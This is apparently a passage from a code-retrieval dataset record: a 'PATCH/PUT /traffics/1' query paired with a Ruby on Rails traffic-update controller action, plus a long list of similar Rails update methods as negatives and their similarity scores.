:status)\n end", "def create\n @technical_datum = TechnicalDatum.new(technical_datum_params)\n\n respond_to do |format|\n if @technical_datum.save\n format.html { redirect_to @technical_datum, notice: 'Technical datum was successfully created.' }\n format.json { render :show, status: :created, location: @technical_datum }\n else\n format.html { render :new }\n format.json { render json: @technical_datum.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6214081", "0.5795744", "0.57690364", "0.57664543", "0.57651585", "0.57627326", "0.57467175", "0.5710359", "0.57070464", "0.5692368", "0.56803745", "0.56788397", "0.5657104", "0.5641894", "0.5627291", "0.56267506", "0.562471", "0.56167984", "0.56029737", "0.5585184", "0.557045", "0.5568974", "0.5518161", "0.55144566", "0.5512505", "0.550946", "0.5504363", "0.5496689", "0.54823345", "0.5470395", "0.5467323", "0.54614353", "0.54447275", "0.54404956", "0.543746", "0.5414072", "0.54019755", "0.54017586", "0.54003155", "0.53992146", "0.53958637", "0.5386517", "0.53861314", "0.5378668", "0.53756154", "0.5371692", "0.5365334", "0.5352304", "0.5342683", "0.53363395", "0.5335965", "0.5335083", "0.5330937", "0.5330889", "0.5330412", "0.5329618", "0.5322327", "0.5320019", "0.5318682", "0.53117955", "0.5309773", "0.53095424", "0.530639", "0.5303425", "0.5296239", "0.5295861", "0.52911884", "0.52888894", "0.52866876", "0.52861756", "0.5282923", "0.5282181", "0.5278223", "0.52755445", "0.5274117", "0.52729833", "0.5267191", "0.5265623", "0.5263452", "0.52580804", "0.5258001", "0.5257638", "0.52506196", "0.52497804", "0.5248954", "0.5247335", "0.5226151", "0.5225201", "0.5225127", "0.5224243", "0.5221257", "0.5213529", "0.5213457", "0.52110314", "0.5210766", "0.5210027", "0.5204416", "0.52017653", "0.5201363", "0.5201214", "0.52008295" ]
0.0
-1
PATCH/PUT /traffics/1 PATCH/PUT /traffics/1.json
def update params[:traffic][:website_id] = params[:website_selected] @traffic = Traffic.find_by_id(params[:id]) begin @traffic.update!(traffic_params) rescue Exception => e respond_to do |format| format.html { @websites = Website.all @statistics = Statistic.all @website = @traffic.website redirect_to edit_traffic_path(@traffic), alert: e.message and return } end end if @traffic.statistic_type == "custom" begin if (@statistic = @traffic.custom_statistic).nil? @statistic = @traffic.create_custom_statistic!({:statistic_id => params[:statistic_selected], :policy_id => @traffic.id, :policy_type => @traffic.class.name}) else @statistic.update_attributes!({:statistic_id => params[:statistic_selected]}) end rescue Exception => e # on remet le type par defaut et on le sauve car si l'utilisateur s'en va san terminer la creation alors il manque une custom static et cela entraineenra une erruer dans index @traffic.update_attribute(:statistic_type, "default") respond_to do |format| format.html { @websites = Website.all @statistics = Statistic.all @website = @traffic.website @traffic.monday_start = Traffic.next_monday(Date.today + @traffic.max_duration_scraping) redirect_to edit_traffic_path(@traffic), alert: e.message and return } end end else # statistic_type = ga ou default @traffic.custom_statistic.delete unless @traffic.custom_statistic.nil? end render_after_create_ok_or_update_ok("Traffic n°#{@traffic.id} was successfully update.") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n respond_to do |format|\n if @trac.update(trac_params)\n format.html { redirect_to @trac, notice: 'Trac was successfully updated.' }\n format.json { render :show, status: :ok, location: @trac }\n else\n format.html { render :edit }\n format.json { render json: @trac.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n travel = Travel.find(params[:id])\n if travel.update(travel_params)\n render json: travel, status: 200\n else\n render json: travel.errors, status: 422\n end\n end", "def update\n @travel_chart = Travel::Chart.find(params[:id])\n\n respond_to do |format|\n if @travel_chart.update_attributes(params[:travel_chart])\n format.html { redirect_to @travel_chart, notice: 'Travel chart was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @travel_chart.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trip.update(trip_params)\n last_clip(@trip, trip_params[:clips_attributes].present?)\n format.html { redirect_to @trip.parent || @trip, notice: 'Trip was successfully updated.', change: \"list\" }\n format.json { head :no_content }\n else\n format.html { redirect_to @trip.parent || @trip }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @transport_subsidy = TransportSubsidy.find(params[:id])\n\n respond_to do |format|\n if @transport_subsidy.update_attributes(params[:transport_subsidy])\n format.html { redirect_to @transport_subsidy, notice: 'Transport subsidy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @transport_subsidy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @trip\n\n\n @trip.estimated_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @trip.destination\n req.expense_type = 'estimated'\n end\n end\n\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n record = TaxRule.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end", "def update\n @trajectory = Trajectory.find(params[:id])\n\n respond_to do |format|\n if @trajectory.update_attributes(params[:trajectory])\n format.html { redirect_to @trajectory, notice: 'Trajectory was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trajectory.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n #params[:trip][:participations] ||=[]\n respond_to do |format|\n if @trip.owner_id == current_user.id && @trip.update_attributes(params[:trip])\n flash[:notice] = 'Trip was successfully updated.'\n format.html { redirect_to(@trip) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @tier = Tier.find(params[:id])\n\n respond_to do |format|\n if @tier.update_attributes(params[:tier])\n format.html { redirect_to @tier, :notice => 'Tier was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @tier.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @treq = Treq.find(params[:id])\n\n respond_to do |format|\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n if @treq.update_attributes(params[:treq])\n format.html { redirect_to @treq, notice: 'Treq was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n \n \n params[:trip][:category_ids] ||= []\n params[:trip][:type_ids] ||= []\n \n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, :notice => 'Trip was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n end\n end\n end", "def update\n if @flight.update(flight_params)\n json_response(@flight.decorate.as_json(flight_details: true), :ok)\n else\n json_response(@flight.errors, :unprocessable_entity)\n end\n end", "def update\n respond_to do |format|\n\n previous_tier = @instructor.tier_id\n\n if @instructor.update(instructor_params)\n\n unless previous_tier == @instructor.tier_id\n\n if ((params['instructor']['tier_update_notes']) and (params['instructor']['tier_update_notes'] != \"\"))\n TierUpdate.create({instructor_id: @instructor.id, old_tier: previous_tier, new_tier: @instructor.tier_id, notes: params['instructor']['tier_update_notes']})\n else\n format.html { redirect_to edit_instructor_path(@instructor), alert: 'You can not change the tier of an instructor without giving a reason!' }\n end\n end\n\n format.html { redirect_to @instructor, notice: 'Instructor was successfully updated.' }\n format.json { render :show, status: :ok, location: @instructor }\n else\n format.html { render :edit }\n format.json { render json: @instructor.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @future_trip.update(future_trip_params)\n format.html { redirect_to @future_trip, notice: 'Future trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @future_trip }\n else\n format.html { render :edit }\n format.json { render json: @future_trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n if @trail.update_attributes(params[:trail])\n format.html { redirect_to @trail, notice: 'Trail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @chronicle = Chronicle.find(params[:id])\n\n respond_to do |format|\n if @chronicle.update_attributes(params[:chronicle])\n format.html { redirect_to @chronicle, notice: 'Chronicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n if @trail.update_attributes(params[:trail])\n format.html { redirect_to @trail, notice: 'Trail was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n @therapist_consent = TherapistConsent.find(params[:id])\n respond_to do |format|\n format.html { render action: 'edit' }\n format.json { render :status => 200, :json => { action: 'edit', therapist_consent: @therapist_consent}}\n end\n end", "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @tracing.update(tracing_params)\n format.html { redirect_to @tracing }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tracing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n if @tarefa.update_attributes(params[:tarefa])\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @flight = Flight.find(params[:id])\n\n if @flight.update(params[:flight])\n head :no_content\n else\n render json: @flight.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @tottle.update(tottle_params)\n format.html { redirect_to @tottle, notice: 'Tottle was successfully updated.' }\n format.json { render :show, status: :ok, location: @tottle }\n else\n format.html { render :edit }\n format.json { render json: @tottle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n\n if @trip.update(trip_params)\n render :json => {:success => true}\n else\n render :json => {:success => false, :errors => [\"Trip update failed.\"]}\n end\n end", "def UpdateTicket params = {}\n \n APICall(path: 'tickets.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n @click_thru = ClickThru.find(params[:id])\n\n respond_to do |format|\n if @click_thru.update_attributes(params[:click_thru])\n format.html { redirect_to @click_thru, notice: 'Click thru was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @click_thru.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n begin\n Twitter.user_timeline(params[:foodtruck][:handle])\n foodtruck = Foodtruck.find(params[:id])\n foodtruck.update_attributes(params[:foodtruck])\n redirect_to '/foodtrucks'\n rescue\n redirect_to \"/foodtrucks/#{params[:id]}\"\n end\n end", "def update\n respond_to do |format|\n if @trail.update(trail_params)\n format.html { redirect_to @trail, notice: 'Trail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n if @flight.update_attributes(params[:flight])\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n trip = Trip.find_by_id(params[:trip_id])\n trip.title = params[:title]\n trip.city = params[:city]\n trip.state = params[:state]\n trip.country = params[:country]\n trip.start_date = params[:start_date]\n trip.end_date = params[:end_date]\n trip.description = params[:description]\n trip.link = params[:link]\n if params[:photo_base]\n trip.photo = params[:photo_base]\n end\n trip.save!\n render json: trip\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n if @flight.update_attributes(params[:flight])\n format.html { redirect_to @flight, notice: 'Flight was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @traffic = Traffic.find(params[:id])\n\n respond_to do |format|\n if @traffic.update_attributes(params[:traffic])\n format.html { redirect_to @traffic, notice: 'Traffic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @traffic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n respond_to do |format|\n if @chronicle.update(chronicle_params)\n format.html { redirect_to @chronicle, notice: t('flash_message.notice.successfully_updated', model: Chronicle.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, params)\n time(\"PATCH #{path}\") { Cloudflarer.new.patch(path, params) }\n end", "def update\n add_breadcrumb 'Update Trouble Ticket'\n\n respond_to do |format|\n if @troubleticket.update(troubleticket_params)\n format.html do\n redirect_to @troubleticket,\n notice: 'Trouble ticket was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @troubleticket }\n else\n format.html { render :edit , status: :unprocessable_entity }\n format.json do\n render json: @troubleticket.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def update\n @therapist = Therapist.find(params[:id])\n\n respond_to do |format|\n if @therapist.update_attributes(params[:therapist])\n format.html { redirect_to @therapist, notice: 'Therapist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @therapist.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trail.update(trail_params)\n format.html { redirect_to @trail, notice: 'Trail was successfully updated.' }\n format.json { render :show, status: :ok, location: @trail }\n else\n format.html { render :edit }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trafficofficer.update(trafficofficer_params)\n format.html { redirect_to @trafficofficer, notice: 'Trafficofficer was successfully updated.' }\n format.json { render :show, status: :ok, location: @trafficofficer }\n else\n format.html { render :edit }\n format.json { render json: @trafficofficer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trax.update(trax_params)\n format.html { redirect_to @trax, notice: 'Trax was successfully updated.' }\n format.json { render :show, status: :ok, location: @trax }\n else\n format.html { render :edit }\n format.json { render json: @trax.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @toc.update(toc_params)\n format.html { redirect_to @toc, notice: 'Toc was successfully updated.' }\n format.json { render :show, status: :ok, location: @toc }\n else\n format.html { render :edit }\n format.json { render json: @toc.errors, status: :unprocessable_entity }\n end\n end\n end", "def update*args\n pp args: args\n\n @trade = owned_trades.find(params[:id])\n\n if @trade.update_attributes(params[:trade])\n @tradeViewRow = TradesView.find(@trade.id)\n render json: @tradeViewRow\n else\n render json: @trade.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @trip_todo.update(trip_todo_params)\n format.html { redirect_to @trip_todo, notice: 'Trip todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip_todo }\n else\n format.html { render :edit }\n format.json { render json: @trip_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @travel_type = TravelType.find(params[:id])\n\n respond_to do |format|\n if @travel_type.update_attributes(params[:travel_type])\n format.html { redirect_to @travel_type, :notice => 'Travel type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @travel_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @fabric = Fabric.find(params[:id])\n\n respond_to do |format|\n if @fabric.update_attributes(params[:fabric])\n format.html { redirect_to @fabric, notice: 'Fabric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fabric.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tracer.update(tracer_params)\n format.html { redirect_to @tracer, notice: \"Tracer was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tracer }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tracer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transit.update(transit_params)\n apply_side_trip\n if params[:cohort_id]\n @cohorts.transits << @transit\n end\n format.html { redirect_to @transit, notice: 'Transit was successfully updated.' }\n format.json { render :show, status: :ok, location: @transit }\n else\n format.html { render :edit }\n format.json { render json: @transit.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trainee.update(trainee_params)\n format.html { redirect_to @trainee, notice: 'Trainee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trainee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @taxi = Taxi.find(params[:id])\n\n respond_to do |format|\n if @taxi.update_attributes(params[:taxi])\n format.html { redirect_to @taxi, notice: 'Taxi was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taxi.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @travel = Travel.find(params[:id])\n\n respond_to do |format|\n if @travel.update_attributes(params[:travel])\n format.html { redirect_to(@travel, :notice => 'Travel was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @travel.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @travel = Travel.find(params[:id])\n\n respond_to do |format|\n if @travel.update_attributes(params[:travel])\n format.html { redirect_to(@travel, :notice => 'Travel was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @travel.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @t = T.find(params[:id])\n\n respond_to do |format|\n if @t.update_attributes(params[:t])\n format.html { redirect_to @t, notice: 'T was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @t.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update\n respond_to do |format|\n if @tailor.update(tailor_params)\n format.html { redirect_to @tailor, notice: \"Tailor was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tailor }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tailor.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @traceroute.update(traceroute_params)\n format.html { redirect_to @traceroute, notice: 'Traceroute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @traceroute.update(traceroute_params)\n format.html { redirect_to @traceroute, notice: 'Traceroute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n if @tso.update_attributes(params[:tso])\n flash[:notice] = 'Tso was successfully updated.'\n format.html { redirect_to(@tso) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tso.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end", "def update\n @taf = Taf.find(params[:id])\n\n respond_to do |format|\n if @taf.update_attributes(params[:taf])\n format.html { redirect_to @taf, notice: 'Taf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @vehicle_realtime.update(vehicle_realtime_params)\n format.html { redirect_to @vehicle_realtime, notice: 'Vehicle realtime was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_realtime }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_realtime.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @travel.update(travel_params)\n format.html { redirect_to @travel, notice: 'Travel was successfully updated.' }\n format.json { render :show, status: :ok, location: @travel }\n else\n format.html { render :edit }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n sub_cluster = params[\"dtcstaff\"][\"sub_cluster\"]\n @dtc_staff.subcluster(sub_cluster) \n respond_to do |format|\n if @dtc_staff.update(params[:dtc_staff])\n format.html { redirect_to dtc_staffs_url, notice: 'Route Updated' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dtc_staff.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @trip, :update?\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trek = Trek.find(params[:id])\n\n respond_to do |format|\n if @trek.update_attributes(params[:trek])\n format.html { redirect_to @trek, notice: 'Trek was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trek.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @controltleit.update(controltleit_params)\n format.html { redirect_to @controltleit, notice: 'Controltleit was successfully updated.' }\n format.json { render :show, status: :ok, location: @controltleit }\n else\n format.html { render :edit }\n format.json { render json: @controltleit.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end", "def update\n @tenure = Tenure.find(params[:id])\n\n if @tenure.update(tenure_params)\n audit(@tenure, current_user)\n head :no_content\n else\n render json: @tenure.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @travel.update(travel_params)\n format.html { redirect_to @travel, notice: \"Travel was successfully updated.\" }\n format.json { render :show, status: :ok, location: @travel }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @flight_schedule = FlightSchedule.find(params[:id])\n\n respond_to do |format|\n if @flight_schedule.update_attributes(params[:flight_schedule])\n format.html { redirect_to @flight_schedule, notice: 'Flight schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @flight_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cta.update(cta_params)\n format.html { redirect_to @cta, notice: 'cta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @technical.update(technical_params)\n format.html { redirect_to @technical, notice: 'Alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @technical.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @settlement = Settlement.find(params[:id])\n\n respond_to do |format|\n if @settlement.update_attributes(params[:settlement])\n format.html { redirect_to @settlement, :notice => 'Settlement was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @settlement.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transect.update(transect_params)\n # format.html { redirect_to @transect, notice: 'Transect was successfully updated.' }\n format.html { redirect_to transects_path, notice: 'Transect was successfully updated.' }\n format.json { render :show, status: :ok, location: @transect }\n else\n format.html { render :edit }\n format.json { render json: @transect.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @clinic_timing = ClinicTiming.find(params[:id])\n\n respond_to do |format|\n if @clinic_timing.update_attributes(params[:clinic_timing])\n format.html { redirect_to @clinic_timing, notice: 'Clinic timing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinic_timing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @microtask = Microtask.find(params[:id])\n\n respond_to do |format|\n if @microtask.update_attributes(params[:microtask])\n format.html { redirect_to @microtask, notice: 'Microtask was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @microtask.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tangent.update(tangent_params)\n format.html { redirect_to @tangent, notice: 'Tangent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tangent.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if user_can_modify(@trip) and @trip.update_attributes(params[:trip])\n format.html { redirect_to(@trip, :notice => 'Trip was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trip.errors, :status => :unprocessable_entity }\n format.json { render :json => @trip.errors.full_messages, :status => :unprocessable_entity }\n end\n end\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n respond_to do |format|\n if @tap.update(tap_params)\n format.html { redirect_to taps_path, notice: 'Tap was successfully updated.' }\n format.json { head :no_content }\n else\n format.json { render json: @tap.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tradeview.update(tradeview_params)\n format.html { redirect_to 